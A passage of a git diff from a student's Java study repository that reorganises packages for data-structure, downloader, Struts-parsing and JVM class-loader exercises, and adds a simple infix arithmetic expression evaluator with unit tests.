+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -23,6 +23,24 @@ public int nextU1ToInt() {
         return Util.byteToInt(new byte[] { codes[pos++]});
     }
 
+
+    public int nextU4ToInt(){return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});}
+
+
+    public String nextUxToHexString(int len) {
+        byte[] tmp = new byte[len];
+
+        for (int i = 0; i < len; i++) {
+            tmp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
+    public void back(int n) {
+        this.pos -= n;
+    }
+
     public byte[] getByte(int len) {
         if(len + pos >= codes.length){
             throw new IndexOutOfBoundsException();
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 26407abbef..d4557797e1 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -23,7 +23,7 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "E:\\2017code\\coding2017\\group04\\349184132\\Study\\out\\production\\Study1";
 	static String path2 = "C:\temp";
 	
 	static ClassFile clzFile = null;
diff --git a/group04/349184132/Study/src/com/first/ArrayList.java b/group04/349184132/Study/src/com/dataStructure/ArrayList.java
similarity index 98%
rename from group04/349184132/Study/src/com/first/ArrayList.java
rename to group04/349184132/Study/src/com/dataStructure/ArrayList.java
index a836d89a6b..ea775ba297 100644
--- a/group04/349184132/Study/src/com/first/ArrayList.java
+++ b/group04/349184132/Study/src/com/dataStructure/ArrayList.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 
 public class ArrayList implements List {
diff --git a/group04/349184132/Study/src/com/first/BinaryTreeNode.java b/group04/349184132/Study/src/com/dataStructure/BinaryTreeNode.java
similarity index 98%
rename from group04/349184132/Study/src/com/first/BinaryTreeNode.java
rename to group04/349184132/Study/src/com/dataStructure/BinaryTreeNode.java
index 31647f36dd..2b069a80b3 100644
--- a/group04/349184132/Study/src/com/first/BinaryTreeNode.java
+++ b/group04/349184132/Study/src/com/dataStructure/BinaryTreeNode.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public class BinaryTreeNode {
 
diff --git a/group04/349184132/Study/src/com/first/Iterator.java b/group04/349184132/Study/src/com/dataStructure/Iterator.java
similarity index 75%
rename from group04/349184132/Study/src/com/first/Iterator.java
rename to group04/349184132/Study/src/com/dataStructure/Iterator.java
index ea250e3cf5..6ac68a250e 100644
--- a/group04/349184132/Study/src/com/first/Iterator.java
+++ b/group04/349184132/Study/src/com/dataStructure/Iterator.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public interface Iterator {
 	public boolean hasNext();
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java b/group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrame.java
similarity index 98%
rename from group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java
rename to group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrame.java
index e70f4cfb79..af61d81560 100644
--- a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java
+++ b/group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrame.java
@@ -1,4 +1,4 @@
-package src.com.coning.basic.linklist;
+package  com.dataStructure.LRU;
 
 /**
  * Created by wang on 2017/3/27.
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrameTest.java
similarity index 95%
rename from group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java
rename to group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrameTest.java
index 409c5f461d..9dc10d3ded 100644
--- a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ b/group04/349184132/Study/src/com/dataStructure/LRU/LRUPageFrameTest.java
@@ -1,4 +1,4 @@
-package src.com.coning.basic.linklist;
+package  com.dataStructure.LRU;
 
 /**
  * Created by wang on 2017/3/27.
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java b/group04/349184132/Study/src/com/dataStructure/LRU/LinkedList.java
similarity index 97%
rename from group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
rename to group04/349184132/Study/src/com/dataStructure/LRU/LinkedList.java
index 3560d53c7e..bde81890b7 100644
--- a/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
+++ b/group04/349184132/Study/src/com/dataStructure/LRU/LinkedList.java
@@ -1,7 +1,7 @@
-package com.coding.basic.linklist;
+package com.dataStructure.LRU;
 
-import com.first.Iterator;
-import com.first.List;
+import com.dataStructure.Iterator;
+import com.dataStructure.List;
 
 import java.util.Objects;
 
diff --git a/group04/349184132/Study/src/com/first/LinkedList.java b/group04/349184132/Study/src/com/dataStructure/LinkedList.java
similarity index 99%
rename from group04/349184132/Study/src/com/first/LinkedList.java
rename to group04/349184132/Study/src/com/dataStructure/LinkedList.java
index 4abca8addd..aa059ad82c 100644
--- a/group04/349184132/Study/src/com/first/LinkedList.java
+++ b/group04/349184132/Study/src/com/dataStructure/LinkedList.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public class LinkedList implements List {
 
diff --git a/group04/349184132/Study/src/com/first/List.java b/group04/349184132/Study/src/com/dataStructure/List.java
similarity index 86%
rename from group04/349184132/Study/src/com/first/List.java
rename to group04/349184132/Study/src/com/dataStructure/List.java
index 9c244deb3d..b3aabba4e8 100644
--- a/group04/349184132/Study/src/com/first/List.java
+++ b/group04/349184132/Study/src/com/dataStructure/List.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public interface List {
 	public void add(Object o);
diff --git a/group04/349184132/Study/src/com/first/Queue.java b/group04/349184132/Study/src/com/dataStructure/Queue.java
similarity index 94%
rename from group04/349184132/Study/src/com/first/Queue.java
rename to group04/349184132/Study/src/com/dataStructure/Queue.java
index 4d24432adb..3025b84015 100644
--- a/group04/349184132/Study/src/com/first/Queue.java
+++ b/group04/349184132/Study/src/com/dataStructure/Queue.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public class Queue {
 	private LinkedList elementData = new LinkedList();
diff --git a/group04/349184132/Study/src/com/first/Stack.java b/group04/349184132/Study/src/com/dataStructure/Stack.java
similarity index 95%
rename from group04/349184132/Study/src/com/first/Stack.java
rename to group04/349184132/Study/src/com/dataStructure/Stack.java
index a9a1915f82..684ad43d0a 100644
--- a/group04/349184132/Study/src/com/first/Stack.java
+++ b/group04/349184132/Study/src/com/dataStructure/Stack.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 public class Stack {
 	private ArrayList elementData = new ArrayList();
diff --git a/group04/349184132/Study/src/com/first/StackUtil.java b/group04/349184132/Study/src/com/dataStructure/StackUtil.java
similarity index 99%
rename from group04/349184132/Study/src/com/first/StackUtil.java
rename to group04/349184132/Study/src/com/dataStructure/StackUtil.java
index 88fddf53f7..b76a61a7b1 100644
--- a/group04/349184132/Study/src/com/first/StackUtil.java
+++ b/group04/349184132/Study/src/com/dataStructure/StackUtil.java
@@ -1,4 +1,4 @@
-package com.first;
+package com.dataStructure;
 
 import java.util.Objects;
 
diff --git a/group04/349184132/Study/src/com/second/Array/ArrayUtil.java b/group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtil.java
similarity index 99%
rename from group04/349184132/Study/src/com/second/Array/ArrayUtil.java
rename to group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtil.java
index cd99e201ab..fee9ceb201 100644
--- a/group04/349184132/Study/src/com/second/Array/ArrayUtil.java
+++ b/group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtil.java
@@ -1,4 +1,4 @@
-package com.second.Array;
+package com.dataStructure.arrayList;
 
 import java.util.Arrays;
 
diff --git a/group04/349184132/Study/src/com/second/Array/ArrayUtilTest.java b/group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtilTest.java
similarity index 96%
rename from group04/349184132/Study/src/com/second/Array/ArrayUtilTest.java
rename to group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtilTest.java
index 4acbbf8880..f6a933ba15 100644
--- a/group04/349184132/Study/src/com/second/Array/ArrayUtilTest.java
+++ b/group04/349184132/Study/src/com/dataStructure/arrayList/ArrayUtilTest.java
@@ -1,6 +1,4 @@
-package com.second.Array;
-
-import static org.junit.Assert.*;
+package com.dataStructure.arrayList;
 
 import org.junit.Assert;
 import org.junit.Before;
diff --git a/group04/349184132/Study/src/com/dataStructure/expr/ExprParse.java b/group04/349184132/Study/src/com/dataStructure/expr/ExprParse.java
new file mode 100644
index 0000000000..b7847c305f
--- /dev/null
+++ b/group04/349184132/Study/src/com/dataStructure/expr/ExprParse.java
@@ -0,0 +1,79 @@
+package com.dataStructure.expr;
+
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * Created by wang on 2017/4/14.
+ */
+public class ExprParse {
+
+    public List<Token> prase(String expr){
+
+        List<Token> tokens = new LinkedList<>();
+
+        int i = 0;
+
+        while(i < expr.length()){
+
+            char c = expr.charAt(i);
+
+            if(isOperator(c)){
+
+                Token t = new Token(Token.OPERATOR,String.valueOf(c));
+                tokens.add(t);
+                i++;
+            }else if(isNumber(c)){
+                int nextIsNumberIndex = nextIsNumber(expr,i);
+                String num = expr.substring(i,nextIsNumberIndex);
+                Token t = new Token(Token.NUMBER,num);
+                tokens.add(t);
+                i=nextIsNumberIndex;
+            }else{
+                throw new RuntimeException( c + " is not operator or number ! " );
+            }
+        }
+        return tokens;
+
+    }
+
+    private int nextIsNumber(String expr,int i) {
+        while(i<expr.length()){
+            char c = expr.charAt(i);
+            if(isNumber(c)){
+                i++;
+            }else{
+                break;
+            }
+
+        }
+        return i;
+    }
+
+    private boolean isNumber(char c) {
+        int num = (int)c - 48;
+        for(int i = 0; i<10; i++){
+            if(num == i){
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private boolean isOperator(char c) {
+        if(c=='+'){
+            return true;
+        }else if(c=='-'){
+            return true;
+        }else if(c=='*'){
+            return true;
+        }else if(c=='/'){
+            return true;
+        }else{
+            return false;
+        }
+
+    }
+
+
+}
diff --git a/group04/349184132/Study/src/com/dataStructure/expr/InfixExpr.java b/group04/349184132/Study/src/com/dataStructure/expr/InfixExpr.java
new file mode 100644
index 0000000000..6d8aa29063
--- /dev/null
+++ b/group04/349184132/Study/src/com/dataStructure/expr/InfixExpr.java
@@ -0,0 +1,100 @@
+package com.dataStructure.expr;
+
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by wang on 2017/4/14.
+ */
+public class InfixExpr {
+    String expr = null;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+
+
+    public float evaluate() {
+
+        ExprParse exprParse = new ExprParse();
+        List<Token> tokens = exprParse.prase(this.expr);
+
+        Stack<Float> val = new Stack<>();
+        Stack<String> op = new Stack<>();
+
+
+        for(int i=0; i<tokens.size(); i++){
+            Token token = tokens.get(i);
+            if(token.getType() == Token.OPERATOR){
+                if(op.isEmpty()){
+
+                    op.push(token.getValue());
+                }else{
+
+                    int topPrio = getPriority(op.peek());
+                    int entryPrio = getPriority(token.getValue());
+
+                    if(entryPrio > topPrio){
+                        op.push(token.getValue());
+                    }else if(entryPrio <= topPrio){
+                        float result = getResult(val,op);
+                        val.push(result);
+                        op.push(token.getValue());
+                    }
+                }
+
+
+            }else if(token.getType() == Token.NUMBER){
+                val.push(Float.parseFloat(token.getValue()));
+
+            }
+        }
+
+        while(!op.isEmpty()){
+            float result = getResult(val,op);
+            val.push(result);
+        }
+
+
+        return val.peek();
+    }
+
+    private float getResult(Stack<Float> val, Stack<String> op) {
+        float v2 = val.pop();
+        float v1 = val.pop();
+        return calculate(op.pop(),v1,v2);
+    }
+
+    public int getPriority(String op){
+        if(op.equals("+") || op.equals("-")){
+            return 1;
+        }else if(op.equals("*") || op.equals("/")){
+            return 2;
+        }else{
+            throw new RuntimeException("Not support this operator!");
+        }
+    }
+
+    private float calculate(String ops , float v1 , float v2){
+        if(ops.equals("+") ){
+            return v1 + v2;
+        }else if(ops.equals("-")){
+            return v1 - v2;
+        }else if(ops.equals("*")){
+            return v1 * v2;
+        }else if(ops.equals("/")){
+            return v1 / v2;
+        }else{
+            throw new RuntimeException("Not support this operator");
+        }
+    }
+
+
+
+
+
+
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/dataStructure/expr/InfixExprTest.java b/group04/349184132/Study/src/com/dataStructure/expr/InfixExprTest.java
new file mode 100644
index 0000000000..3c7255e16a
--- /dev/null
+++ b/group04/349184132/Study/src/com/dataStructure/expr/InfixExprTest.java
@@ -0,0 +1,51 @@
+package com.dataStructure.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+/**
+ * Created by wang on 2017/4/14.
+ */
+
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/dataStructure/expr/Token.java b/group04/349184132/Study/src/com/dataStructure/expr/Token.java
new file mode 100644
index 0000000000..7920df312f
--- /dev/null
+++ b/group04/349184132/Study/src/com/dataStructure/expr/Token.java
@@ -0,0 +1,25 @@
+package com.dataStructure.expr;
+
+/**
+ * Created by wang on 2017/4/14.
+ */
+public class Token {
+    public static final int  OPERATOR = 0;
+    public static final int  NUMBER = 1;
+    private int type ;
+    private String value;
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+
+
+    public int getType() {
+        return type;
+    }
+
+    public String getValue() {
+        return value;
+    }
+}
diff --git a/group04/349184132/Study/src/com/linked/Iterator.java b/group04/349184132/Study/src/com/dataStructure/linkedList/Iterator.java
similarity index 69%
rename from group04/349184132/Study/src/com/linked/Iterator.java
rename to group04/349184132/Study/src/com/dataStructure/linkedList/Iterator.java
index b2397b9aa7..aaacd05e86 100644
--- a/group04/349184132/Study/src/com/linked/Iterator.java
+++ b/group04/349184132/Study/src/com/dataStructure/linkedList/Iterator.java
@@ -1,4 +1,4 @@
-package com.linked;
+package com.dataStructure.linkedList;
 
 public interface Iterator<T> {
 	public boolean hasNext();
diff --git a/group04/349184132/Study/src/com/linked/LinkedList.java b/group04/349184132/Study/src/com/dataStructure/linkedList/LinkedList.java
similarity index 99%
rename from group04/349184132/Study/src/com/linked/LinkedList.java
rename to group04/349184132/Study/src/com/dataStructure/linkedList/LinkedList.java
index 9d4e45d034..3c541b7951 100644
--- a/group04/349184132/Study/src/com/linked/LinkedList.java
+++ b/group04/349184132/Study/src/com/dataStructure/linkedList/LinkedList.java
@@ -1,4 +1,4 @@
-package com.linked;
+package com.dataStructure.linkedList;
 
 import java.util.Objects;
 
diff --git a/group04/349184132/Study/src/com/linked/List.java b/group04/349184132/Study/src/com/dataStructure/linkedList/List.java
similarity index 91%
rename from group04/349184132/Study/src/com/linked/List.java
rename to group04/349184132/Study/src/com/dataStructure/linkedList/List.java
index 60ec0a4a14..085375fd5e 100644
--- a/group04/349184132/Study/src/com/linked/List.java
+++ b/group04/349184132/Study/src/com/dataStructure/linkedList/List.java
@@ -1,4 +1,4 @@
-package com.linked;
+package com.dataStructure.linkedList;
 
 
 public interface List<T> {
diff --git a/group04/349184132/Study/src/com/first/test/StackUtilTest.java b/group04/349184132/Study/src/com/dataStructure/test/StackUtilTest.java
similarity index 95%
rename from group04/349184132/Study/src/com/first/test/StackUtilTest.java
rename to group04/349184132/Study/src/com/dataStructure/test/StackUtilTest.java
index 940abbb57c..ba8eb8ad1e 100644
--- a/group04/349184132/Study/src/com/first/test/StackUtilTest.java
+++ b/group04/349184132/Study/src/com/dataStructure/test/StackUtilTest.java
@@ -1,7 +1,7 @@
-package com.first.test;
+package com.dataStructure.test;
 
-import com.first.Stack;
-import com.first.StackUtil;
+import com.dataStructure.Stack;
+import com.dataStructure.StackUtil;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
diff --git a/group04/349184132/Study/src/com/first/test/TestArrayList.java b/group04/349184132/Study/src/com/dataStructure/test/TestArrayList.java
similarity index 88%
rename from group04/349184132/Study/src/com/first/test/TestArrayList.java
rename to group04/349184132/Study/src/com/dataStructure/test/TestArrayList.java
index af7ed55f0a..94fd273183 100644
--- a/group04/349184132/Study/src/com/first/test/TestArrayList.java
+++ b/group04/349184132/Study/src/com/dataStructure/test/TestArrayList.java
@@ -1,9 +1,9 @@
-package com.first.test;
+package com.dataStructure.test;
 
 import org.junit.Test;
 
-import com.first.ArrayList;
-import com.first.Iterator;
+import com.dataStructure.ArrayList;
+import com.dataStructure.Iterator;
 
 public class TestArrayList {
 	private ArrayList al = new ArrayList();
diff --git a/group04/349184132/Study/src/com/first/test/TestLinkedList.java b/group04/349184132/Study/src/com/dataStructure/test/TestLinkedList.java
similarity index 92%
rename from group04/349184132/Study/src/com/first/test/TestLinkedList.java
rename to group04/349184132/Study/src/com/dataStructure/test/TestLinkedList.java
index 2131e580ff..dae63ff1c3 100644
--- a/group04/349184132/Study/src/com/first/test/TestLinkedList.java
+++ b/group04/349184132/Study/src/com/dataStructure/test/TestLinkedList.java
@@ -1,9 +1,9 @@
-package com.first.test;
+package com.dataStructure.test;
 
 import org.junit.Test;
 
-import com.first.Iterator;
-import com.first.LinkedList;
+import com.dataStructure.Iterator;
+import com.dataStructure.LinkedList;
 
 public class TestLinkedList {
 	LinkedList link = new LinkedList();
diff --git a/group04/349184132/Study/src/com/coderising/download/DownloadThread.java b/group04/349184132/Study/src/com/multiThreadDownload/DownloadThread.java
similarity index 92%
rename from group04/349184132/Study/src/com/coderising/download/DownloadThread.java
rename to group04/349184132/Study/src/com/multiThreadDownload/DownloadThread.java
index 2b806a7f44..8e97a75d5e 100644
--- a/group04/349184132/Study/src/com/coderising/download/DownloadThread.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/DownloadThread.java
@@ -1,12 +1,12 @@
-package com.coderising.download;
+package com.multiThreadDownload;
+
+import com.multiThreadDownload.api.Connection;
 
 import java.io.IOException;
 import java.io.RandomAccessFile;
 import java.util.concurrent.BrokenBarrierException;
 import java.util.concurrent.CyclicBarrier;
 
-import com.coderising.download.api.Connection;
-
 public class DownloadThread extends Thread {
 	Connection conn;
 	int startPos;
diff --git a/group04/349184132/Study/src/com/coderising/download/FileDownloader.java b/group04/349184132/Study/src/com/multiThreadDownload/FileDownloader.java
similarity index 92%
rename from group04/349184132/Study/src/com/coderising/download/FileDownloader.java
rename to group04/349184132/Study/src/com/multiThreadDownload/FileDownloader.java
index 281dafde96..54e6ccfc16 100644
--- a/group04/349184132/Study/src/com/coderising/download/FileDownloader.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/FileDownloader.java
@@ -1,16 +1,15 @@
-package com.coderising.download;
+package com.multiThreadDownload;
+
+import com.multiThreadDownload.api.Connection;
+import com.multiThreadDownload.api.ConnectionException;
+import com.multiThreadDownload.api.ConnectionManager;
+import com.multiThreadDownload.api.DownloadListener;
 
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.RandomAccessFile;
 import java.net.URL;
 import java.util.concurrent.CyclicBarrier;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
 public class FileDownloader {
 	
 	boolean isFinished = false;
diff --git a/group04/349184132/Study/src/com/coderising/download/FileDownloaderTest.java b/group04/349184132/Study/src/com/multiThreadDownload/FileDownloaderTest.java
similarity index 83%
rename from group04/349184132/Study/src/com/coderising/download/FileDownloaderTest.java
rename to group04/349184132/Study/src/com/multiThreadDownload/FileDownloaderTest.java
index 604712d2a9..f8d8f8f69d 100644
--- a/group04/349184132/Study/src/com/coderising/download/FileDownloaderTest.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/FileDownloaderTest.java
@@ -1,12 +1,11 @@
-package com.coderising.download;
+package com.multiThreadDownload;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
+import com.multiThreadDownload.api.*;
+import com.multiThreadDownload.impl.*;
 
 public class FileDownloaderTest {
 	boolean downloadFinished = false;
diff --git a/group04/349184132/Study/src/com/coderising/download/api/Connection.java b/group04/349184132/Study/src/com/multiThreadDownload/api/Connection.java
similarity index 92%
rename from group04/349184132/Study/src/com/coderising/download/api/Connection.java
rename to group04/349184132/Study/src/com/multiThreadDownload/api/Connection.java
index 0957eaf7f4..bc7b267414 100644
--- a/group04/349184132/Study/src/com/coderising/download/api/Connection.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/api/Connection.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.multiThreadDownload.api;
 
 import java.io.IOException;
 
diff --git a/group04/349184132/Study/src/com/coderising/download/api/ConnectionException.java b/group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionException.java
similarity index 80%
rename from group04/349184132/Study/src/com/coderising/download/api/ConnectionException.java
rename to group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionException.java
index 1599be1296..c490e9bc1e 100644
--- a/group04/349184132/Study/src/com/coderising/download/api/ConnectionException.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionException.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.multiThreadDownload.api;
 
 public class ConnectionException extends Exception {
 
diff --git a/group04/349184132/Study/src/com/coderising/download/api/ConnectionManager.java b/group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionManager.java
similarity index 83%
rename from group04/349184132/Study/src/com/coderising/download/api/ConnectionManager.java
rename to group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionManager.java
index ce045393b1..38b13fde5b 100644
--- a/group04/349184132/Study/src/com/coderising/download/api/ConnectionManager.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/api/ConnectionManager.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.multiThreadDownload.api;
 
 public interface ConnectionManager {
 	/**
diff --git a/group04/349184132/Study/src/com/coderising/download/api/DownloadListener.java b/group04/349184132/Study/src/com/multiThreadDownload/api/DownloadListener.java
similarity index 65%
rename from group04/349184132/Study/src/com/coderising/download/api/DownloadListener.java
rename to group04/349184132/Study/src/com/multiThreadDownload/api/DownloadListener.java
index bf9807b307..b902d38109 100644
--- a/group04/349184132/Study/src/com/coderising/download/api/DownloadListener.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/api/DownloadListener.java
@@ -1,4 +1,4 @@
-package com.coderising.download.api;
+package com.multiThreadDownload.api;
 
 public interface DownloadListener {
 	public void notifyFinished();
diff --git a/group04/349184132/Study/src/com/coderising/download/impl/ConnectionImpl.java b/group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionImpl.java
similarity index 85%
rename from group04/349184132/Study/src/com/coderising/download/impl/ConnectionImpl.java
rename to group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionImpl.java
index 3ad903146b..b97263378c 100644
--- a/group04/349184132/Study/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionImpl.java
@@ -1,14 +1,11 @@
-package com.coderising.download.impl;
+package com.multiThreadDownload.impl;
+
+import com.multiThreadDownload.api.Connection;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.OutputStream;
 import java.net.HttpURLConnection;
-import java.net.URL;
-import java.net.URLConnection;
-
-import com.coderising.download.api.Connection;
 
 public class ConnectionImpl implements Connection{
 	private HttpURLConnection conn ;
diff --git a/group04/349184132/Study/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionManagerImpl.java
similarity index 75%
rename from group04/349184132/Study/src/com/coderising/download/impl/ConnectionManagerImpl.java
rename to group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionManagerImpl.java
index 9132787cf8..97be6ca5ac 100644
--- a/group04/349184132/Study/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group04/349184132/Study/src/com/multiThreadDownload/impl/ConnectionManagerImpl.java
@@ -1,14 +1,14 @@
-package com.coderising.download.impl;
+package com.multiThreadDownload.impl;
+
+import com.multiThreadDownload.api.Connection;
+import com.multiThreadDownload.api.ConnectionException;
+import com.multiThreadDownload.api.ConnectionManager;
 
 import java.io.IOException;
 import java.net.HttpURLConnection;
 import java.net.MalformedURLException;
 import java.net.URL;
 
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
 public class ConnectionManagerImpl implements ConnectionManager {
 	@Override
 	public Connection open(String url) throws ConnectionException {
diff --git a/group04/349184132/Study/src/com/second/LoginAction.java b/group04/349184132/Study/src/com/parseStruts/LoginAction.java
similarity index 97%
rename from group04/349184132/Study/src/com/second/LoginAction.java
rename to group04/349184132/Study/src/com/parseStruts/LoginAction.java
index 6dd5deaaf6..19eee013fa 100644
--- a/group04/349184132/Study/src/com/second/LoginAction.java
+++ b/group04/349184132/Study/src/com/parseStruts/LoginAction.java
@@ -1,4 +1,4 @@
-package com.second;
+package com.parseStruts;
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
diff --git a/group04/349184132/Study/src/com/second/StringUtil.java b/group04/349184132/Study/src/com/parseStruts/StringUtil.java
similarity index 97%
rename from group04/349184132/Study/src/com/second/StringUtil.java
rename to group04/349184132/Study/src/com/parseStruts/StringUtil.java
index 21a3de8e67..85886be5db 100644
--- a/group04/349184132/Study/src/com/second/StringUtil.java
+++ b/group04/349184132/Study/src/com/parseStruts/StringUtil.java
@@ -1,4 +1,4 @@
-package com.second;
+package com.parseStruts;
 
 public class StringUtil {
 	public static String nameTogetName(String name){
diff --git a/group04/349184132/Study/src/com/second/Struts.java b/group04/349184132/Study/src/com/parseStruts/Struts.java
similarity index 98%
rename from group04/349184132/Study/src/com/second/Struts.java
rename to group04/349184132/Study/src/com/parseStruts/Struts.java
index 77110a674c..c979fc4ca8 100644
--- a/group04/349184132/Study/src/com/second/Struts.java
+++ b/group04/349184132/Study/src/com/parseStruts/Struts.java
@@ -1,9 +1,8 @@
-package com.second;
+package com.parseStruts;
 
 import java.io.File;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.HashMap;
 import java.util.Iterator;
 import java.util.Map;
 import java.util.Set;
diff --git a/group04/349184132/Study/src/com/second/StrutsTest.java b/group04/349184132/Study/src/com/parseStruts/StrutsTest.java
similarity index 96%
rename from group04/349184132/Study/src/com/second/StrutsTest.java
rename to group04/349184132/Study/src/com/parseStruts/StrutsTest.java
index ff297c01ab..4e4d271880 100644
--- a/group04/349184132/Study/src/com/second/StrutsTest.java
+++ b/group04/349184132/Study/src/com/parseStruts/StrutsTest.java
@@ -1,12 +1,11 @@
-package com.second;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
+package com.parseStruts;
 
 import org.junit.Assert;
 import org.junit.Test;
 
+import java.util.HashMap;
+import java.util.Map;
+
 
 
 
diff --git a/group04/349184132/Study/src/com/second/View.java b/group04/349184132/Study/src/com/parseStruts/View.java
similarity index 93%
rename from group04/349184132/Study/src/com/second/View.java
rename to group04/349184132/Study/src/com/parseStruts/View.java
index 647d88d5f0..1034745161 100644
--- a/group04/349184132/Study/src/com/second/View.java
+++ b/group04/349184132/Study/src/com/parseStruts/View.java
@@ -1,4 +1,5 @@
-package com.second;
+package com.parseStruts;
+
 
 import java.util.Map;
 
diff --git a/group04/349184132/Study/src/com/second/struts.xml b/group04/349184132/Study/src/com/second/struts.xml
deleted file mode 100644
index 554dbbe227..0000000000
--- a/group04/349184132/Study/src/com/second/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.second.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.second.LogoutAction">
-    	<result name= "success">/jsp/welcome.jsp</result>
-    	<result name= "error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file

From db5add0e43cf76c85a767932f3fdb912cfb4aabf Mon Sep 17 00:00:00 2001
From: yanghaitao0410 <1454385822@qq.com>
